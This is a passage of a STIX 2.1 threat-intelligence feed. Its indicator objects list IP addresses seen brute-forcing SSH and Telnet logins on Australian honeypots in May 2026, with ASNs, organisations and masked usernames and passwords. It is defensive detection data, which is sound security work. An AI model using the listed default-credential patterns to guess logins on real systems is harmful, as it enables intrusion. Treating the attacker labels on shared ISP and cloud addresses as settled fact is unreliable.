      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 285. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: AR. ASN(s): 11664. Organisation(s): Techtel LMDS Comunicaciones Interactivas S.A.. Usernames observed (masked): 3**********4, r**t, c***i, n******n, p**m. Passwords observed (masked): 1****6, 3***********4, 3**********4, p******d, D******1.",
      "id": "indicator--20d48765-6346-417a-8247-a97cbc8ddbd8",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-21T10:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '186.123.101.50']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-21T10:15:10.000Z",
      "valid_until": "2026-06-22T10:15:08.000Z"
    },
    {
      "created": "2026-05-21T10:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 423. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: AR. ASN(s): 22927. Organisation(s): Telefonica de Argentina. Usernames observed (masked): 3**********4, r**t, c***p, **, k*******n. Passwords observed (masked): 3***********4, 3**********4, 0****1, 1****6, c***p.",
      "id": "indicator--4963ffb4-5cf6-47da-b7a2-601981cf2aed",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-21T10:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '186.56.11.2']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-21T10:15:10.000Z",
      "valid_until": "2026-06-22T10:15:08.000Z"
    },
    {
      "created": "2026-05-21T10:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 539. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: BR. ASN(s): 17222. Organisation(s): MUNDIVOX DO BRASIL LTDA. Usernames observed (masked): r**t, 3**********4, c***p, **, k*******n. Passwords observed (masked): 3***********4, 3**********4, 1****6, 0****1, D******1.",
      "id": "indicator--3d724366-9a80-4355-8499-0575b74ac06f",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-21T10:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '187.16.96.250']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-21T10:15:10.000Z",
      "valid_until": "2026-06-22T10:15:08.000Z"
    },
    {
      "created": "2026-05-21T10:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 403. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 215590. Organisation(s): DpkgSoft International Limited. Usernames observed (masked): r**t, 3**********4, n******n, p**m, v********e. Passwords observed (masked): 1****6, 3***********4, 3**********4, p******d, D******1.",
      "id": "indicator--28dc6b18-bbd7-4090-aa35-4bd7e4426386",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-21T10:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '2.26.70.203']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-21T10:15:10.000Z",
      "valid_until": "2026-06-22T10:15:08.000Z"
    },
    {
      "created": "2026-05-21T10:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 17. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: HK. ASN(s): 8075. Organisation(s): Microsoft Corporation. Usernames observed (masked): c**o, r**t. Passwords observed (masked): 1****6, n****d.",
      "id": "indicator--60274831-56ed-48c3-92f4-cdce6280540e",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-21T10:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '20.255.61.0']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-21T10:15:10.000Z",
      "valid_until": "2026-06-22T10:15:08.000Z"
    },
    {
      "created": "2026-05-21T10:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 309. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: KR. ASN(s): 9318. Organisation(s): SK Broadband Co Ltd. Usernames observed (masked): r**t, 3**********4, c***p, t****r, z**o. Passwords observed (masked): 1****6, 3***********4, 3**********4, 0****1, a***1.",
      "id": "indicator--6478d7cb-6927-41c9-bd44-5072052c3ddb",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-21T10:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '222.232.176.7']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-21T10:15:10.000Z",
      "valid_until": "2026-06-22T10:15:08.000Z"
    },
    {
      "created": "2026-05-21T10:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 391. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: TW. ASN(s): 3462. Organisation(s): Data Communication Business Group. Usernames observed (masked): r**t, 3**********4, c***p, k*******n, z**o. Passwords observed (masked): 1****6, 3***********4, 3**********4, 0****1, b**d.",
      "id": "indicator--df4aaf7f-c60d-4670-80d1-9a73078d24f2",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-21T10:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '59.126.224.134']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-21T10:15:10.000Z",
      "valid_until": "2026-06-22T10:15:08.000Z"
    },
    {
      "created": "2026-05-21T10:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: TR. ASN(s): 9121. Organisation(s): Turk Telekom.",
      "id": "indicator--6071c8f9-e504-4fe0-8eea-41fc7ba7057c",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-21T10:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '88.230.153.244']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-21T10:15:10.000Z",
      "valid_until": "2026-06-22T10:15:08.000Z"
    },
    {
      "created": "2026-05-21T10:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 4. Sensors involved: Cowrie. Target ports: 23. Source country: GB. ASN(s): 206067. Organisation(s): Three.",
      "id": "indicator--c45517c9-5fb0-4414-9b58-45ede32957c6",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-21T10:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '92.41.215.23']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-21T10:15:10.000Z",
      "valid_until": "2026-06-22T10:15:08.000Z"
    },
    {
      "created": "2026-05-21T11:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 4. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 134238. Organisation(s): CHINANET Jiangx province IDC network.",
      "id": "indicator--000e95c7-2968-41b2-99fa-cd5a5335b995",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-21T11:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '106.225.218.43']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-21T11:15:11.000Z",
      "valid_until": "2026-06-22T11:15:09.000Z"
    },
    {
      "created": "2026-05-21T11:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 23. Sensors involved: Cowrie. Target ports: 23. Source country: UA. ASN(s): 13188. Organisation(s): Content Delivery Network Ltd.",
      "id": "indicator--610f9b02-c102-42db-9bdf-7418dd92da1f",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-21T11:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '109.87.12.61']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-21T11:15:11.000Z",
      "valid_until": "2026-06-22T11:15:09.000Z"
    },
    {
      "created": "2026-05-21T11:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: KR. ASN(s): 9981. Organisation(s): Saero Network Service LTD.",
      "id": "indicator--d88ad00a-6cdb-4a34-9293-9d1cb476a0a1",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-21T11:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '122.199.107.20']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-21T11:15:11.000Z",
      "valid_until": "2026-06-22T11:15:09.000Z"
    },
    {
      "created": "2026-05-21T11:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: PY. ASN(s): 61512. Organisation(s): GIG@NET SOCIEDAD ANONIMA.",
      "id": "indicator--619778b5-9056-4577-8b86-515fa304fdd4",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-21T11:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '38.52.132.167']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-21T11:15:11.000Z",
      "valid_until": "2026-06-22T11:15:09.000Z"
    },
    {
      "created": "2026-05-21T11:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 10. Sensors involved: Cowrie. Target ports: 23. Source country: TR. ASN(s): 9121. Organisation(s): Turk Telekom.",
      "id": "indicator--c1630f01-c377-49db-aa2d-e4d005becc6b",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-21T11:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '81.214.149.150']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-21T11:15:11.000Z",
      "valid_until": "2026-06-22T11:15:09.000Z"
    },
    {
      "created": "2026-05-21T12:15:19.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 50. Sensors involved: Cowrie. Target ports: 23. Source country: PK. ASN(s): 9541. Organisation(s): Cyber Internet Services Pvt Ltd..",
      "id": "indicator--4c05c105-265c-4295-b3fb-259c404586b7",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-21T12:15:19.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '103.244.172.161']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-21T12:15:19.000Z",
      "valid_until": "2026-06-22T12:15:08.000Z"
    },
    {
      "created": "2026-05-21T12:15:19.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 20. Sensors involved: Cowrie. Target ports: 23. Source country: TH. ASN(s): 23969. Organisation(s): TOT Public Company Limited.",
      "id": "indicator--18b7e74d-fa86-42b7-8d7c-e17eb736ad3b",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-21T12:15:19.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '118.173.155.141']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-21T12:15:19.000Z",
      "valid_until": "2026-06-22T12:15:08.000Z"
    },
    {
      "created": "2026-05-21T12:15:19.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 50. Sensors involved: Cowrie. Target ports: 23. Source country: PK. ASN(s): 17557. Organisation(s): Pakistan Telecommunication Company Limited.",
      "id": "indicator--7b8de1bb-b42a-4e94-9f10-9c2b0088c215",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-21T12:15:19.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '119.156.31.177']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-21T12:15:19.000Z",
      "valid_until": "2026-06-22T12:15:08.000Z"
    },
    {
      "created": "2026-05-21T12:15:19.000Z",
      "description": "Attacker IP - SSH & Telnet / Observed authentication attempts via ssh, telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 12. Sensors involved: Cowrie. Target ports: 22, 23. Source country: US. ASN(s): 14061. Organisation(s): DigitalOcean, LLC. Usernames observed (masked): G************1, U*******************************x. Passwords observed (masked): A**********, H**********************3.",
      "id": "indicator--3f876cab-51b4-4990-88a8-045ea93c4fcc",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-21T12:15:19.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '157.245.218.191']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-21T12:15:19.000Z",
      "valid_until": "2026-06-22T12:15:08.000Z"
    },
    {
      "created": "2026-05-21T12:15:19.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 4. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4134. Organisation(s): Chinanet.",
      "id": "indicator--ba953fc9-9582-47c1-a582-ac48be36a57f",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-21T12:15:19.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '175.13.202.161']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-21T12:15:19.000Z",
      "valid_until": "2026-06-22T12:15:08.000Z"
    },
    {
      "created": "2026-05-21T12:15:19.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: BR. ASN(s): 26599. Organisation(s): TELEFONICA BRASIL S.A.",
      "id": "indicator--ed4e96d3-97f2-405a-82b7-f1ca62b70f79",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-21T12:15:19.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '187.116.169.16']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-21T12:15:19.000Z",
      "valid_until": "2026-06-22T12:15:08.000Z"
    },
    {
      "created": "2026-05-21T12:15:19.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: IT. ASN(s): 30722. Organisation(s): Fastweb.",
      "id": "indicator--405a2763-cb4d-4354-abb0-7a5f3d92a87a",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-21T12:15:19.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '2.37.167.195']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-21T12:15:19.000Z",
      "valid_until": "2026-06-22T12:15:08.000Z"
    },
    {
      "created": "2026-05-21T12:15:19.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: ID. ASN(s): 7713. Organisation(s): PT Telekomunikasi Indonesia.",
      "id": "indicator--73083183-9baa-41bb-9294-e2417f5f2402",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-21T12:15:19.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '36.70.69.198']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-21T12:15:19.000Z",
      "valid_until": "2026-06-22T12:15:08.000Z"
    },
    {
      "created": "2026-05-21T12:15:19.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 74. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: SG. ASN(s): 150436. Organisation(s): Byteplus Pte. Ltd.. Usernames observed (masked): **, 3**********4, r**t. Passwords observed (masked): 3***********4, 3**********4, a*****3, y***3.",
      "id": "indicator--abf9311b-c334-40a6-80f4-19f27917b1f3",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-21T12:15:19.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '45.78.198.204']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-21T12:15:19.000Z",
      "valid_until": "2026-06-22T12:15:08.000Z"
    },
    {
      "created": "2026-05-21T12:15:19.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 3. Sensors involved: Cowrie. Target ports: 23. Source country: HK. ASN(s): 45102. Organisation(s): Alibaba US Technology Co., Ltd.. Usernames observed (masked): a***n. Passwords observed (masked): a***n.",
      "id": "indicator--80e2b343-d8aa-4a47-9f5c-4ac7c2f38b92",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-21T12:15:19.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '47.239.89.220']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-21T12:15:19.000Z",
      "valid_until": "2026-06-22T12:15:08.000Z"
    },
    {
      "created": "2026-05-21T12:15:19.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 403. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: KR. ASN(s): 4766. Organisation(s): Korea Telecom. Usernames observed (masked): r**t, 3**********4, s**n, s***s, **. Passwords observed (masked): 3***********4, 3**********4, 1****6, 1**4, 1**3.",
      "id": "indicator--7500b9e6-72bf-4d11-abd3-2f6ba328a0fc",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-21T12:15:19.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '61.76.112.4']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-21T12:15:19.000Z",
      "valid_until": "2026-06-22T12:15:08.000Z"
    },
    {
      "created": "2026-05-21T12:15:19.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: GB. ASN(s): 2856. Organisation(s): British Telecommunications PLC.",
      "id": "indicator--af701a0f-254f-4376-84b4-0f51108536fe",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-21T12:15:19.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '86.128.196.8']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-21T12:15:19.000Z",
      "valid_until": "2026-06-22T12:15:08.000Z"
    },
    {
      "created": "2026-05-21T14:15:34.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4134. Organisation(s): Chinanet.",
      "id": "indicator--33420566-4372-436f-9b89-713166c918fe",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-21T14:15:34.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '113.120.74.138']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-21T14:15:34.000Z",
      "valid_until": "2026-06-22T14:15:08.000Z"
    },
    {
      "created": "2026-05-21T14:15:34.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 14. Sensors involved: Cowrie. Target ports: 23. Source country: PK. ASN(s): 9541. Organisation(s): Cyber Internet Services Pvt Ltd..",
      "id": "indicator--2a052cc5-1fcc-4203-9fcf-a72cb7eb7e56",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-21T14:15:34.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '14.1.104.159']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-21T14:15:34.000Z",
      "valid_until": "2026-06-22T14:15:08.000Z"
    },
    {
      "created": "2026-05-21T14:15:34.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 3. Sensors involved: Cowrie. Target ports: 22. Source country: US. ASN(s): 14061. Organisation(s): DigitalOcean, LLC.",
      "id": "indicator--29345f21-d527-4aca-bcbc-ff797a4f7ae7",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-21T14:15:34.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '167.99.149.55']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-21T14:15:34.000Z",
      "valid_until": "2026-06-22T14:15:08.000Z"
    },
    {
      "created": "2026-05-21T14:15:34.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4837. Organisation(s): CHINA UNICOM China169 Backbone.",
      "id": "indicator--9a95214b-6dc6-49fb-a4e7-80a6c5075e04",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-21T14:15:34.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '175.175.33.174']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-21T14:15:34.000Z",
      "valid_until": "2026-06-22T14:15:08.000Z"
    },
    {
      "created": "2026-05-21T14:15:34.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 7. Sensors involved: Cowrie. Target ports: 23. Source country: UA. ASN(s): 39608. Organisation(s): Lanet Network Ltd.",
      "id": "indicator--5c181150-c146-4118-a9f8-0cf634d1bc7e",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-21T14:15:34.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '176.36.188.241']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-21T14:15:34.000Z",
      "valid_until": "2026-06-22T14:15:08.000Z"
    },
    {
      "created": "2026-05-21T14:15:34.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: BR. ASN(s): 52765. Organisation(s): MAXXNET TELECOM.",
      "id": "indicator--1ec0c3f1-85f5-4e25-b678-0c8e1fa45645",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-21T14:15:34.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '177.39.122.214']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-21T14:15:34.000Z",
      "valid_until": "2026-06-22T14:15:08.000Z"
    },
    {
      "created": "2026-05-21T14:15:34.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4134. Organisation(s): Chinanet.",
      "id": "indicator--03ac85c4-4f1c-4cff-883c-0a8bae042845",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-21T14:15:34.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '182.240.240.46']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-21T14:15:34.000Z",
      "valid_until": "2026-06-22T14:15:08.000Z"
    },
    {
      "created": "2026-05-21T14:15:34.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: HR. ASN(s): 200514. Organisation(s): KnownSRV Ltd..",
      "id": "indicator--65c65ea1-94b1-4f56-8d8d-ce6671433d87",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-21T14:15:34.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '185.66.143.222']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-21T14:15:34.000Z",
      "valid_until": "2026-06-22T14:15:08.000Z"
    },
    {
      "created": "2026-05-21T14:15:34.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: BR. ASN(s): 26599. Organisation(s): TELEFONICA BRASIL S.A.",
      "id": "indicator--95d34afa-b48e-4171-aa68-831105112ddb",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-21T14:15:34.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '191.12.125.63']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-21T14:15:34.000Z",
      "valid_until": "2026-06-22T14:15:08.000Z"
    },
    {
      "created": "2026-05-21T14:15:34.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4837. Organisation(s): CHINA UNICOM China169 Backbone.",
      "id": "indicator--086913c6-c533-4e00-8cff-80e7b46c4735",
